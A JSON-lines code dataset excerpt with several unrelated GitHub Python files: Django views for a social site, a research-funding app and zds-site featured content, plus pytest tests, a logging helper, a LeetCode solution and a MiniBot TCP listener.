\"There should be a nullable failure\"\n else:\n assert False, \"There are no failures\"\n\n else:\n assert False, \"correct_ak_id_exp does not have a check parameter\"\n\n@pytest.mark.usefixtures(\"address_partial_exp\")\ndef test_soft_expectation_partial_match(address_partial_exp):\n address_partial_exp.check(fixtures.ADDRESSES)\n assert len(address_partial_exp.soft_fails) == fixtures.ADDRESSES_SOFT_FAILS_PARTIAL_MATCH\n\n@pytest.mark.usefixtures(\"address_full_exp\")\ndef test_soft_expectation_full_match(address_full_exp):\n address_full_exp.check(fixtures.ADDRESSES)\n assert len(address_full_exp.soft_fails) == fixtures.ADDRESSES_SOFT_FAILS_FULL_MATCH\n\n@pytest.mark.usefixtures(\"address_full_exp\")\ndef test_soft_expectation_and_hard_at_same_time(address_full_exp):\n NUMBER_OF_NULLS = 2\n address_full_exp.check(fixtures.ADDRESSES + [nan]*NUMBER_OF_NULLS)\n assert len(address_full_exp.soft_fails) == fixtures.ADDRESSES_SOFT_FAILS_FULL_MATCH\n assert len(address_full_exp.fails) == NUMBER_OF_NULLS\n\ndef test_regex_parameter_compilation():\n exp = MemExpectation(\n \"AK_ID\", **dict(\n parameters=[\n dict(name=\"data_type\", value=\"integer\"),\n dict(name=\"regex\", value=\"[0-9]+\"),\n dict(name=\"nullable\", value=False)\n ],\n required=True)\n )\n assert exp.check([\"3\"])\n\n@pytest.mark.usefixtures('correct_ak_id_exp')\ndef test_nullable_fail_properly(correct_ak_id_exp):\n chk = correct_ak_id_exp.check([\"12345\", nan])\n assert not chk and \"nullable\" in [\n n.name for f in correct_ak_id_exp.fails for n in f.why\n ]\n","repo_name":"brotherjack/memsynth","sub_path":"tests/test_expectation_check.py","file_name":"test_expectation_check.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26279171178","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.generic import *\nfrom django.urls import reverse, reverse_lazy\nfrom django.db.models import Max, Count, Q, Sum, F\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import messages\nfrom django.contrib.auth import login, logout, authenticate\nfrom django.core.mail import send_mail\n\nfrom .models import *\nfrom .forms import *\n\ndef home(request):\n user_id = request.user.id\n following = Follow.objects.filter(user_from=user_id).values('user_to')\n print(following)\n following_posts = Posts.objects.filter(user_id__in=following).select_related('user')\n return render(request, 'main/index.html', {\n \"following\": following,\n 'following_posts': following_posts,\n })\n\n\ndef user_register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n print(form)\n if form.is_valid():\n user = form.save()\n login(request, user)\n messages.success(request, \"You was successfully registered!\")\n return redirect('home')\n else:\n messages.error(request, 'Error of register!')\n else:\n form = UserRegisterForm()\n return render(request, 'main/register.html', {\n 'form': form,\n 'title': 'Registration',\n })\n\n\ndef user_login(request):\n if request.method == 'POST':\n form = UserLoginForm(data=request.POST)\n print(form.changed_data)\n if form.is_valid():\n user = form.get_user()\n print(user)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.error(request, 'Error of login!')\n else:\n form = UserLoginForm()\n return render(request, 'main/login.html', {\n 'form': form,\n 'title': 'Login',\n })\n\ndef user_logout(request):\n logout(request)\n return redirect('login')\n\n\ndef my_profile(request):\n user_id = request.user.id\n user = request.user\n print(user)\n profile = Profile.objects.get(user_id=user_id)\n posts = Posts.objects.filter(user_id=user_id).select_related('user')\n followers = Follow.objects.filter(user_to=user_id).count()\n following = Follow.objects.filter(user_from=user_id).count()\n posts_cou = posts.count()\n return render(request, 'main/my_profile.html', {\n 'user': user,\n 'profile': profile,\n 'posts': posts,\n 'title': 'My profile',\n 'followers': followers,\n 'following': following,\n 'posts_cou': posts_cou,\n })\n\n\ndef profile_edit(request):\n if request.method == 'POST':\n user_form = UserEditForm(request.POST, request.FILES, instance=request.user)\n profile_form = ProfileEditForm(request.POST, request.FILES, instance=request.user.profile)\n\n print(profile_form)\n if user_form.is_valid() and profile_form.is_valid():\n print('valid')\n user_form.save()\n profile_form.save()\n messages.success(request, 'Ваш профиль был успешно обновлен!')\n return redirect('my_profile')\n else:\n messages.error(request, '') # Error on profile edit!\n else:\n # user_id = request.user.id\n # user = User.objects.get(pk=user_id)\n profile_form = ProfileEditForm()\n user_form = UserEditForm(initial={\n 'email': request.user.email,\n 'first_name': request.user.first_name,\n })\n\n print(profile_form)\n return render(request, 'main/profile_edit.html', {\n 'profile_form': profile_form,\n 'user_form': user_form,\n 'title': 'Edit profile',\n })\n\n\ndef create(request):\n if request.method == 'POST':\n form = PostForm(request.POST, request.FILES)\n if form.is_valid():\n user_id = request.user.id\n user = User.objects.get(id=user_id)\n content = form.cleaned_data['content']\n photo = form.cleaned_data['photo']\n new_post = Posts.objects.create(user=user, content=content, photo=photo)\n return redirect(reverse_lazy('one_post', args=[new_post.id]))\n else:\n form = PostForm()\n return render(request, 'main/create.html', {\n 'form': form,\n 'title': 'Create a post',\n })\n\n\ndef one_post(request, post_id):\n if request.method == 'POST':\n form = CommentsForm(request.POST)\n if form.is_valid():\n user_id = request.user.id\n user = User.objects.get(pk=user_id)\n post = Posts.objects.get(pk=post_id)\n content = form.cleaned_data['content']\n new_comment = Comments.objects.create(user=user, post=post, content=content)\n return redirect(reverse_lazy('one_post', args=[post_id]))\n else:\n form = CommentsForm()\n\n views = Posts.objects.get(pk=post_id)\n views.views = F('views') + 1\n views.save()\n post = Posts.objects.get(pk=post_id)\n comments = Comments.objects.filter(post_id=post_id).select_related('post', 'user')\n\n return render(request, 'main/one_post.html', {\n 'post': post,\n 'title': post.content,\n 'form': form,\n 'comments': comments,\n })\n\n\ndef get_user(request, user_id):\n user_from = User.objects.get(pk=request.user.id)\n user_to = User.objects.get(pk=user_id)\n if_follow_2 = Follow.objects.filter(user_from=user_from, user_to=user_to).select_related('user_from', 'user_to')\n if request.method == 'POST':\n if if_follow_2:\n del_follow = Follow.objects.get(user_from=user_from, user_to=user_to)\n del_follow.delete()\n print('STOP FOLLOW: ' + str(del_follow))\n else:\n new_follow = Follow.objects.create(user_from=user_from, user_to=user_to)\n print(new_follow)\n profile = Profile.objects.get(user_id=user_id)\n posts = Posts.objects.filter(user_id=user_id).select_related('user')\n if_follow = Follow.objects.filter(user_from=user_from, user_to=user_to).select_related('user_from', 'user_to')\n return render(request, 'main/get_user.html', {\n 'user': user_to,\n 'profile': profile,\n 'posts': posts,\n 'title': 'profile',\n 'if_follow': if_follow,\n })\n\n\ndef search(request):\n title_s = request.GET.get('qwery')\n if not title_s:\n return render(request, 'main/search.html', {\n 'users': '',\n 'title': 'Search',\n })\n user_s = User.objects.filter(username__icontains=title_s)\n print(user_s)\n return render(request, 'main/search.html', {\n 'users': user_s,\n 'title': 'Search',\n })","repo_name":"MaxManis/Duckie_wall","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43636256167","text":"from ast import literal_eval\nfrom decimal import Decimal\n\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\nfrom research.models import FieldResearch, Proposal\nfrom research.serializers import FieldResearchSerializers, ProposalSerializers\nfrom subject.models import Subject, Process\n\n# 实地调研\nfrom tpl.views_download import generate_field_research_pdf\n\n\nclass FieldResearchViewSet(viewsets.ModelViewSet):\n queryset = FieldResearch.objects.all()\n serializer_class = FieldResearchSerializers\n\n # 判断用户登录态\n permission_classes = [IsAuthenticated, ]\n authentication_classes = (JSONWebTokenAuthentication,)\n\n @action(detail=False, methods=['get'], url_path='initial')\n def initial_data(self, request):\n user = request.user\n subject_id = request.query_params.dict().get('subjectId')\n subject = Subject.objects.get(id=subject_id)\n data = {\n \"planCategory\": subject.project.category.planCategory,\n \"unitName\": subject.unitName,\n \"subjectName\": subject.subjectName,\n \"personnel\": user.name,\n }\n return Response({\"code\": 0, \"message\": \"请求成功\", \"detail\": data},status=status.HTTP_200_OK)\n\n # 立项调研 创建实地调研/分管员\n def create(self, request, *args, **kwargs):\n subject_id = request.data['subjectId']\n subject = Subject.objects.get(id=subject_id)\n if subject.fieldResearch:\n partial = kwargs.pop('partial', False)\n queryset = self.queryset.get(id=subject.fieldResearch_id)\n serializers = self.get_serializer(queryset, data=request.data, partial=partial)\n serializers.is_valid(raise_exception=True)\n self.perform_update(serializers)\n queryset.attachmentPDF = generate_field_research_pdf(field_research_id=queryset.id)\n queryset.save()\n return Response({'code': 0, 'message': 'ok', 'detail': serializers.data}, status=status.HTTP_200_OK)\n else:\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n subject.fieldResearch_id = serializer.data['id']\n subject.research = True\n subject.save()\n queryset = self.queryset.get(id=serializer.data['id'])\n queryset.attachmentPDF = generate_field_research_pdf(field_research_id=queryset.id)\n queryset.save()\n return Response({'code': 0, 'message': 'ok', 'detail': serializer.data}, status=status.HTTP_201_CREATED,\n headers=headers)\n\n # 实地调研展示\n @action(detail=False, methods=['get'], url_path='show')\n def show_field_research(self, request, *args, **kwargs):\n subject_id = request.query_params.dict().get('subjectId')\n subject = Subject.objects.get(id=subject_id)\n queryset = self.queryset.filter(id=subject.fieldResearch_id)\n serializers = self.get_serializer(queryset, many=True)\n return Response({'code': 0, 'message': 'ok', 'detail': serializers.data}, status=status.HTTP_200_OK)\n\n\n# 立项建议\nclass ProposalViewSet(viewsets.ModelViewSet):\n queryset = Proposal.objects.all()\n serializer_class = ProposalSerializers\n # 判断用户登录态\n permission_classes = [IsAuthenticated, ]\n authentication_classes = (JSONWebTokenAuthentication,)\n\n # 立项建议提交\n @action(detail=False, methods=['post'], url_path='proposal_submit')\n def proposal_submit(self, request):\n user = request.user\n data = request.data[\"data\"]\n for i in data:\n subject = Subject.objects.get(id=(i[\"subjectId\"]))\n queryset = self.queryset.create(scienceFunding=int(Decimal(i[\"scienceFunding\"])),\n scienceProposal=i[\"scienceProposal\"],\n firstFunding=int(Decimal(i['firstFunding'])),\n charge=user)\n subject.proposal = queryset\n subject.advice = True\n subject.subjectState = '项目下达'\n subject.save()\n Process.objects.create(state='项目下达', subject=subject)\n return Response({\"code\": 0, \"message\": \"提交成功,立项审批通过后请前往项目下达页面下达立项结果\"}, status=status.HTTP_200_OK)\n","repo_name":"pxmxm/test","sub_path":"qingxiu-backend/research/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39613175684","text":"from datetime import datetime\n\nfrom django.contrib import messages\nfrom django.db.models import Count\nfrom django.urls import reverse\nfrom django.shortcuts import redirect\nfrom django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.utils.translation import gettext as _\nfrom django.views.generic import CreateView, RedirectView, UpdateView, FormView, DeleteView\nfrom django.views.generic.list import MultipleObjectMixin\nfrom django.http import HttpResponse\n\nfrom django.conf import settings\nfrom zds import json_handler\nfrom zds.featured.forms import FeaturedResourceForm, FeaturedMessageForm\nfrom zds.featured.models import FeaturedResource, FeaturedMessage, FeaturedRequested, FEATUREABLES\nfrom zds.forum.models import Topic\nfrom zds.tutorialv2.models.database import PublishableContent\nfrom zds.utils.paginator import ZdSPagingListView\n\n\nclass FeaturedViewMixin(LoginRequiredMixin, PermissionRequiredMixin):\n permission_required = \"featured.change_featuredresource\"\n raise_exception = True\n\n\nclass FeaturedResourceList(FeaturedViewMixin, ZdSPagingListView):\n \"\"\"\n Displays the list of featured resources.\n \"\"\"\n\n context_object_name = \"featured_resource_list\"\n paginate_by = settings.ZDS_APP[\"featured_resource\"][\"featured_per_page\"]\n queryset = FeaturedResource.objects.all().order_by(\"-pubdate\")\n template_name = \"featured/index.html\"\n\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n\nclass FeaturedResourceCreate(FeaturedViewMixin, CreateView):\n \"\"\"\n Creates a new featured resource.\n \"\"\"\n\n form_class = FeaturedResourceForm\n template_name = \"featured/resource/create.html\"\n context_object_name = \"featured_resource\"\n initial_error_message = _(\"Le contenu est introuvable\")\n displayed_content_type = {\n \"TUTORIAL\": _(\"Un tutoriel\"),\n \"ARTICLE\": _(\"Un article\"),\n \"OPINION\": _(\"Un billet\"),\n \"TOPIC\": _(\"Un sujet\"),\n }\n\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def get_initial_topic_data(self, topic_id):\n try:\n content = Topic.objects.get(pk=int(topic_id))\n except (Topic.DoesNotExist, ValueError):\n messages.error(self.request, self.initial_error_message)\n return {}\n initial = {\n \"title\": content.title,\n \"type\": self.displayed_content_type[\"TOPIC\"],\n \"authors\": str(content.author),\n \"url\": self.request.build_absolute_uri(content.get_absolute_url()),\n }\n\n featured_request = FeaturedRequested.objects.get_existing(content)\n if featured_request is not None:\n initial.update({\"request\": featured_request.pk})\n\n return initial\n\n def get_initial_content_data(self, content_id):\n try:\n content = PublishableContent.objects.get(pk=int(content_id)).public_version\n if not content:\n raise ValueError(\"Not a public content\")\n except (PublishableContent.DoesNotExist, ValueError):\n messages.error(self.request, self.initial_error_message)\n return {}\n displayed_authors = \", \".join([str(x) for x in content.authors.all()])\n if content.content.image:\n image_url = self.request.build_absolute_uri(content.content.image.physical[\"featured\"].url)\n else:\n image_url = None\n\n return {\n \"title\": content.title(),\n \"type\": self.displayed_content_type[content.content_type],\n \"authors\": displayed_authors,\n \"url\": self.request.build_absolute_uri(content.content.get_absolute_url_online()),\n \"image_url\": self.request.build_absolute_uri(image_url),\n }\n\n def get_initial(self):\n initial = super().get_initial()\n content_type = self.request.GET.get(\"content_type\", None)\n content_id = self.request.GET.get(\"content_id\", None)\n if content_type == \"topic\" and content_id:\n initial.update(**self.get_initial_topic_data(content_id))\n elif content_type == \"published_content\" and content_id:\n initial.update(**self.get_initial_content_data(content_id))\n return initial\n\n def get_form_kwargs(self):\n kw = super().get_form_kwargs()\n kw[\"hide_major_update_field\"] = True\n return kw\n\n def form_valid(self, form):\n featured_resource = FeaturedResource()\n featured_resource.title = form.cleaned_data.get(\"title\")\n featured_resource.type = form.cleaned_data.get(\"type\")\n featured_resource.authors = form.cleaned_data.get(\"authors\")\n featured_resource.image_url = form.cleaned_data.get(\"image_url\")\n featured_resource.url = form.cleaned_data.get(\"url\")\n\n if form.cleaned_data.get(\"major_update\", False):\n featured_resource.pubdate = datetime.now()\n else:\n featured_resource.pubdate = form.cleaned_data.get(\"pubdate\")\n\n featured_resource.save()\n\n if form.cleaned_data.get(\"request\") is not None:\n try:\n featured_request = FeaturedRequested.objects.get(pk=form.cleaned_data[\"request\"])\n featured_request.featured = featured_resource\n featured_request.save()\n except FeaturedRequested.DoesNotExist:\n pass\n\n messages.success(self.request, _(\"La une a été créée.\"))\n return redirect(reverse(\"featured:resource-list\"))\n\n\nclass FeaturedResourceUpdate(FeaturedViewMixin, UpdateView):\n \"\"\"\n Updates a featured resource.\n \"\"\"\n\n form_class = FeaturedResourceForm\n template_name = \"featured/resource/update.html\"\n queryset = FeaturedResource.objects.all()\n context_object_name = \"featured_resource\"\n\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def get_initial(self):\n initial = super().get_initial()\n initial.update(\n {\n \"title\": self.object.title,\n \"type\": self.object.type,\n \"authors\": self.object.authors,\n \"image_url\": self.object.image_url,\n \"url\": self.object.url,\n \"pubdate\": self.object.pubdate,\n }\n )\n\n return initial\n\n def form_valid(self, form):\n self.object.title = form.cleaned_data.get(\"title\")\n self.object.type = form.cleaned_data.get(\"type\")\n self.object.authors = form.cleaned_data.get(\"authors\")\n self.object.image_url = form.cleaned_data.get(\"image_url\")\n self.object.url = form.cleaned_data.get(\"url\")\n if form.cleaned_data.get(\"major_update\", False):\n self.object.pubdate = datetime.now()\n else:\n self.object.pubdate = form.cleaned_data.get(\"pubdate\")\n\n messages.success(self.request, _(\"La une a été mise à jour.\"))\n self.success_url = reverse(\"featured:resource-list\")\n return super().form_valid(form)\n\n def get_form(self, form_class=None):\n form = super().get_form(form_class)\n form.helper.form_action = reverse(\"featured:resource-update\", args=[self.object.pk])\n return form\n\n\nclass FeaturedResourceDeleteDetail(FeaturedViewMixin, DeleteView):\n \"\"\"\n Deletes a featured resource.\n \"\"\"\n\n model = FeaturedResource\n\n def dispatch(self, request, *args, **kwargs):\n self.success_url = reverse(\"featured:resource-list\")\n return super().dispatch(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n r = super().post(request, *args, **kwargs)\n messages.success(request, _(\"La une a été supprimée avec succès.\"))\n return r\n\n\nclass FeaturedResourceDeleteList(FeaturedViewMixin, MultipleObjectMixin, RedirectView):\n \"\"\"\n Deletes a list of featured resources.\n \"\"\"\n\n permanent = False\n\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def get_queryset(self):\n items_list = self.request.POST.getlist(\"items\")\n return FeaturedResource.objects.filter(pk__in=items_list)\n\n def post(self, request, *args, **kwargs):\n for featured_resource in self.get_queryset():\n featured_resource.delete()\n\n messages.success(request, _(\"Les unes ont été supprimées avec succès.\"))\n\n return redirect(reverse(\"featured:resource-list\"))\n\n\nclass FeaturedRequestedList(FeaturedViewMixin, ZdSPagingListView):\n \"\"\"\n Displays the list of featured resources.\n \"\"\"\n\n context_object_name = \"featured_request_list\"\n paginate_by = settings.ZDS_APP[\"featured_resource\"][\"request_per_page\"]\n template_name = \"featured/list_requests.html\"\n\n def get_queryset(self):\n type_featured_request = self.request.GET.get(\"type\")\n\n queryset = (\n FeaturedRequested.objects.prefetch_related(\"content_object\")\n .filter(rejected_for_good=False)\n .annotate(num_vote=Count(\"users_voted\"))\n .filter(num_vote__gt=0)\n .order_by(\"-num_vote\")\n .filter(rejected=type_featured_request == \"ignored\")\n .filter(featured__isnull=type_featured_request != \"accepted\")\n )\n\n if type_featured_request in FEATUREABLES.keys():\n queryset = queryset.filter(type=FEATUREABLES[type_featured_request][\"name\"])\n\n return [q for q in queryset.all() if isinstance(q.content_object, Topic) or not q.content_object.is_obsolete]\n\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n\nclass FeaturedRequestedUpdate(UpdateView):\n model = FeaturedRequested\n http_method_names = [\"post\"]\n\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n obj = self.get_object()\n result = {\"result\": \"FAIL\"}\n\n if \"operation\" in request.POST:\n if \"REJECT\" in request.POST[\"operation\"]:\n obj.rejected = True\n obj.save()\n result = {\"result\": \"OK\"}\n if \"REJECT_FOR_GOOD\" in request.POST[\"operation\"]:\n obj.rejected = True\n obj.rejected_for_good = True\n obj.save()\n result = {\"result\": \"OK\"}\n elif \"CONSIDER\" in request.POST[\"operation\"]:\n obj.rejected = False\n obj.save()\n result = {\"result\": \"OK\"}\n\n return HttpResponse(json_handler.dumps(result), content_type=\"application/json\")\n\n\nclass FeaturedMessageCreateUpdate(FeaturedViewMixin, FormView):\n \"\"\"\n Creates or updates the featured message.\n \"\"\"\n\n form_class = FeaturedMessageForm\n template_name = \"featured/message/create.html\"\n last_message = None\n\n def dispatch(self, request, *args, **kwargs):\n self.last_message = FeaturedMessage.objects.get_last_message()\n return super().dispatch(request, *args, **kwargs)\n\n def get_initial(self):\n init = super().get_initial()\n\n if self.last_message is not None:\n init.update(\n {\n \"hook\": self.last_message.hook,\n \"message\": self.last_message.message,\n \"url\": self.last_message.url,\n }\n )\n\n return init\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"display_delete_button\"] = self.last_message is not None\n return context\n\n def form_valid(self, form):\n if self.last_message:\n self.last_message.delete()\n\n featured_message = FeaturedMessage()\n featured_message.hook = form.data.get(\"hook\")\n featured_message.message = form.data.get(\"message\")\n featured_message.url = form.data.get(\"url\")\n featured_message.save()\n\n messages.success(self.request, _(\"Le message a été changé\"))\n return redirect(reverse(\"featured:resource-list\"))\n\n\nclass FeaturedMessageDelete(FeaturedViewMixin, DeleteView):\n \"\"\"\n Delete the featured message.\n \"\"\"\n\n http_method_names = [\"post\", \"delete\"]\n last_message = None\n\n def dispatch(self, request, *args, **kwargs):\n self.last_message = FeaturedMessage.objects.get_last_message()\n return super().dispatch(request, *args, **kwargs)\n\n def delete(self, request, *args, **kwargs):\n if self.last_message:\n self.last_message.delete()\n\n messages.success(self.request, _(\"Le message a été supprimé.\"))\n return redirect(reverse(\"featured:resource-list\"))\n","repo_name":"zestedesavoir/zds-site","sub_path":"zds/featured/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12755,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"61"} +{"seq_id":"11010680062","text":"import logging\nimport logging.config\nimport json\n\nclass Logging(object):\n # print('-----------------------')\n logging.config.fileConfig('logging.config')\n logger = logging.getLogger('bet365')\n\n @classmethod\n def debug(cls, text):\n # print('debug start-----')\n cls.logger.debug(text)\n\n @classmethod\n def info(cls, text):\n # print('info start-----')\n cls.logger.info(text)\n\n @classmethod\n def warning(cls, text):\n # print('warning start-----')\n cls.logger.warning(text)\n\n\n\nif __name__ == '__main__':\n info = {'key':123, 'key2':234, 'key3':['123', '456']}\n Logging.info(u'赢了且更新数据库, {}'.format(info))\n # Logging.debug('This is debug message')\n # Logging.info('This is info message')\n # Logging.warning('This is warning message')\n # log = Logging()\n # log.debug('This is debug message')\n # log.info('This is info message')\n # log.warning('This is warning message')\n","repo_name":"xcg025/365_","sub_path":"bet365/LoggingTool/Logging.py","file_name":"Logging.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28367921201","text":"\r\n# Brute Force O(N Square)\r\ndef maxArea_Brute(height):\r\n maxWater = 0\r\n for i in range(0, len(height) - 1):\r\n currentArea = 0\r\n for j in range(i, len(height)):\r\n currentArea = max(currentArea, (j-i) * min(height[i], height[j]))\r\n maxWater = max(maxWatPer, currentArea)\r\n return maxWater\r\n\r\n\r\n# two pointer approach\r\ndef maxArea(height):\r\n left, right = 0, len(height) - 1\r\n area = 0\r\n while left < right:\r\n area = max(area, min(height[left], height[right]) * (right - left))\r\n if height[left] <= height[right]:\r\n left += 1\r\n else:\r\n right -= 1\r\n return area\r\n\r\nheight = [1,8,6,2,5,4,8,3,7]\r\nprint(maxArea(height))\r\nheight = [1,1]\r\nprint(maxArea(height))\r\nheight = [4,3,2,1,4]\r\nprint(maxArea(height))\r\nheight = [2,3,4,5,18,17,6]\r\nprint(maxArea(height))","repo_name":"medasuryatej/InterviewPrep","sub_path":"LeetCode_Prob_11_containerWithMostWater.py","file_name":"LeetCode_Prob_11_containerWithMostWater.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8988798055","text":"from basestation.bot.connection.tcp_connection import TCPConnection\nfrom basestation.bot.sensors.sensor_center import SensorCenter\nfrom basestation.bot.commands.command_center import CommandCenter\nfrom basestation.util.exception_handling import *\nimport basestation.bot.bot_exchange as bot_exchange\n\nimport threading\n\n\nclass VirtualBot(object):\n \"\"\"\n An instance of VirtualBot represents any MiniBot. We assume vbots may\n present information and receive information, so this is separated into\n the CommandCenter and SensorCenter. VirtualBots also have a persistent\n connection which is represented by Connection\n \"\"\"\n\n def __init__(self, vbot_name: str, ip: str, port: int = 10000):\n \"\"\"\n Sets up an instance of the VirtualBot using a TCP Connection.\n\n Args:\n vbot_name (str): The name of the MiniBot.\n ip (str): The IP of the MiniBot.\n port (int, optional): The port to establish the TCP connection on.\n Default=10000.\n \"\"\"\n self.__tcp_connection = TCPConnection(ip, port=port)\n self.__name = vbot_name\n\n self.__command_center_obj = CommandCenter(self.__tcp_connection)\n self.__sensor_center_obj = SensorCenter()\n\n self.__tcp_listener_thread = self.TCPListener(self.__tcp_connection)\n self.__tcp_listener_thread.start()\n\n return\n\n def __del__(self):\n \"\"\"\n Destructor for a VirtualBot object. Automatically called when\n destroying a VirtualBot object.\n\n Examples:\n `del `\n \"\"\"\n self.__tcp_connection.destroy()\n return\n\n def get_command_center(self) -> CommandCenter:\n \"\"\"\n Returns:\n (CommandCenter): The Command Center associated with this\n VirtualBot.\n \"\"\"\n return self.__command_center_obj\n\n def get_sensor_center(self) -> SensorCenter:\n \"\"\"\n Returns:\n (SensorCenter): The Sensor Center associated with this VirtualBot.\n \"\"\"\n return self.__sensor_center_obj\n\n def get_name(self) -> str:\n \"\"\"\n Returns:\n (str): The name of this VirtualBot\n \"\"\"\n return self.__name\n\n def is_bot_connection_active(self) -> bool:\n \"\"\"\n Returns:\n (bool): True if the TCP connection associated with this\n VirtualBot is active. False otherwise\n \"\"\"\n return self.__tcp_connection.is_connection_active()\n\n class TCPListener(threading.Thread):\n\n def __init__(self, t):\n \"\"\"\n Create a TCPListener object using `t`'s TCP properties,\n and listens forever on a thread.\n\n Args:\n t (TCPConnection): Object of the TCP Connection to associate\n this listener with.\n \"\"\"\n super().__init__()\n self.tcp_connection_obj = t\n\n def run(self):\n \"\"\"\n Run the TCP listener on a thread, parse and act on incoming\n information from the MiniBots.\n \"\"\"\n try:\n while True:\n if self.tcp_connection_obj.is_connection_active():\n msg = self.tcp_connection_obj.receive()\n if msg is not None:\n self.__tcp_parse_incoming(msg)\n\n except RuntimeError as e:\n msg = \"TCP receive failed.\"\n log_exn_info(e, msg=msg)\n\n def __tcp_parse_incoming(self, data: str):\n \"\"\"\n Breaks the data into key and value; calls\n `self.__tcp_act_on_incoming(...)` to act on the information\n received..\n\n Precondition: `data is not None`\n\n Args:\n data (str): A string to be parsed. Must start with* \"<<<<\" and\n end with \">>>>\". Key-value pair should be separated by \":\"\n \"\"\"\n start = data.find(\"<<<<\")\n comma = data.find(\",\")\n end = data.find(\">>>>\")\n if start != -1 and comma != -1 and end != -1:\n key = data[start + 4:comma]\n value = data[comma + 1:end]\n self.__tcp_act_on_incoming(key, value)\n\n return\n\n def __tcp_act_on_incoming(self, key: str, value: str):\n \"\"\"\n Acts based on key and value, MiniBot sending information should send\n key and value, MiniBot requesting information should only send key.\n\n Args:\n key (str): An instruction to be executed.\n value (str): Should qualify the `key`.\n \"\"\"\n if len(value) != 0:\n # MiniBot requesting information\n value_to_send = bot_exchange.msg_map.get(key, None)\n self.tcp_connection_obj.sendKV(key, value_to_send)\n else:\n # MiniBot sending information\n bot_exchange.msg_map[key] = value\n\n return\n","repo_name":"cornell-cup/cs-minibot","sub_path":"basestation/bot/virtualbot/virtual_bot.py","file_name":"virtual_bot.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"1198786578","text":"#!/usr/bin/env python3\n\"\"\"\nThis approach is somewhat different in that I now have to track which\nclaim has no overlaps - i.e. an approach that is claim-centric rather\nthan cell-centric. So I chose a different approach - this time relying\non 2D-coordinates (in tuple format) as keys to a dict whose values were\nclaim numbers.\n\nIn short, the dictionary now is a dynamically allocated grid of max size\nx,y who values at each coordinate is a list of claims wanting that x,y\ncoordinate.\n\nThe trick is that if one (x,y) value of a claim overlaps, the whole\nclaim must be invalid in the search. So, as we are processing the\nclaims, we simply invalidate as we discover them.\n\n\"\"\"\n\nimport re\n\n\ndef compile_parser():\n regex = r\"#(?P\\d+) @ (?P\\d+),(?P\\d+)\"\n regex = r\"{}: (?P\\d+)x(?P\\d+)\".format(regex)\n parse = re.compile(regex)\n\n return parse\n\n\ndef parse_line(parse, line):\n result = parse.match(line)\n return (int(result.group('claim')),\n int(result.group('x')), int(result.group('y')),\n int(result.group('l')), int(result.group('w')))\n\n\nif __name__ == '__main__':\n\n parse = compile_parser()\n grid = {}\n overlap = {}\n\n with open('input.txt', 'r') as f:\n for l in f:\n claim, x, y, l, w = parse_line(parse, l)\n\n for i in range(x, x+l):\n for j in range(y, y+w):\n idx = (i, j)\n if idx not in grid:\n grid[idx] = [claim]\n else:\n # Found first overlap, invalidate previous claim number\n if len(grid[idx]) == 1:\n if grid[idx][0] not in overlap:\n overlap[grid[idx][0]] = 0\n # Invalidate new claim number too\n if claim not in overlap:\n overlap[claim] = 0\n # Store claim\n grid[idx].append(claim)\n\n num_overlap = 0\n unique = []\n\n for idx in grid.keys():\n if len(grid[idx]) > 1:\n num_overlap = num_overlap + 1\n if (len(grid[idx]) == 1) and (grid[idx][0] not in overlap):\n if grid[idx][0] not in unique:\n unique.append(grid[idx][0])\n\n print('Number of overlapping cells: {}'.format(num_overlap))\n print('Claims with no overlaps:')\n for u in unique:\n print('\\t{}'.format(u))\n","repo_name":"broadcaststorm/advent-of-code","sub_path":"2018/03/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40501486185","text":"\"\"\"\nImplementation of the blip model using pytorch\n\"\"\"\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom collections import OrderedDict\nimport torch_geometric.transforms as T\nfrom torch.nn import Linear\nimport torch.nn.functional as F\nfrom torch_geometric.nn import MLP, DynamicEdgeConv, global_max_pool\n\n\nfrom blip.models.common import activations, normalizations\nfrom blip.models import 